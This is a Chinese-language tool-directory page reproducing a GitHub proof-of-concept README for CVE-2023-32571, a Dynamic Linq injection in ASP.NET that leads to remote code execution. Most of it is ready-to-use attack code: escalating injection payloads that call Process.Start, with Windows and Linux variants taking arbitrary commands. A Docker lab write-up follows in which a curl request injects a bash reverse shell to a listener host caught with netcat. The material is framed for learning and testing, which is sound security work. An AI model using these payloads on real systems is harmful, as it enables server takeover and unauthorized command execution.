Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-32571-POC — CVE-2023-32571 的概念验证,演示了 ASP.NET 应用程序中通过 Dynamic Linq 注入实现的远程代码执行。包含用于测试的 payload 和 Docker 实验环境。 | Kitploit
工具/GitHubGitHub/tris0n/cve-2023-32571-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发实验室与实践
GitHubtris0n/cve-2023-32571-poc

CVE-2023-32571-POC

CVE-2023-32571 的概念验证,演示了 ASP.NET 应用程序中通过 Dynamic Linq 注入实现的远程代码执行。包含用于测试的 payload 和 Docker 实验环境。

查看仓库
722年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Dynamic Linq 注入导致 RCE - CVE-2023-32571

关于 Dynamic Linq 注入导致 RCE(CVE-2023-32571)

最近,NCC Group 的研究人员发现 Dynamic Linq 中存在一个漏洞,攻击者可以通过 Linq 注入调用 C# 函数,从而可能实现远程代码执行(RCE)。

尽管 NCC Group 发布了关于 Dynamic Linq 的 RCE 报告,但出于某种原因,他们并未提供用于执行命令的 PoC(概念验证代码)。

PoC

如 NCC Group 的研究所述,我们可以通过 "Invoke" 调用 C# 方法。借助此方法,我们可以调用 "System.Diagnostics.Process.Start" 并在服务器上执行命令。

我们可以使用 "CreateInstanceFromAndUnwrap" 方法,通过程序集调用 System.Diagnostics.Process。

利用 System.AppDomain.CreateInstanceAndUnwrap 方法的载荷:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

通过 CreateInstanceAndUnwrap 方法调用 System.Diagnostics.Process 的载荷:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

通过访问 System.Diagnostics.Process 类的方法,我们可以使用 System.Diagnostics.Process.Start 方法在系统上执行命令:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

注意:载荷会查找前 3 个 Start 方法,并获取最后一个。这样做是因为 System.Diagnostics.Process 的方法列表中有多个 Start 方法,而我们需要的是列表中的第三个方法。

最终载荷

Windows 目标

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Linux 目标
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

启动实验室,请按以下步骤操作

安装 Docker 和 docker-compose:

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

克隆此仓库:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

进入仓库目录:
root@kitploit:~
cd CVE-2023-32571-POC

运行 docker-compose:
root@kitploit:~
sudo docker-compose up --build

应用程序启动在 http://localhost:8000/

实验 Writeup

通过 POST 方法访问 "/api/products" 路由,我们会看到它返回一个产品列表:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

通过在 JSON 中发送 name 参数,我们可以过滤产品:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

经过一些测试,我们发现能够注入到 Dynamic Linq 查询中。通过发送以下载荷,我们获得了反向 shell:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

参考文献

  • https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/
  • https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/
  • https://github.com/advisories/GHSA-w65q-jcmv-28gj
下载工具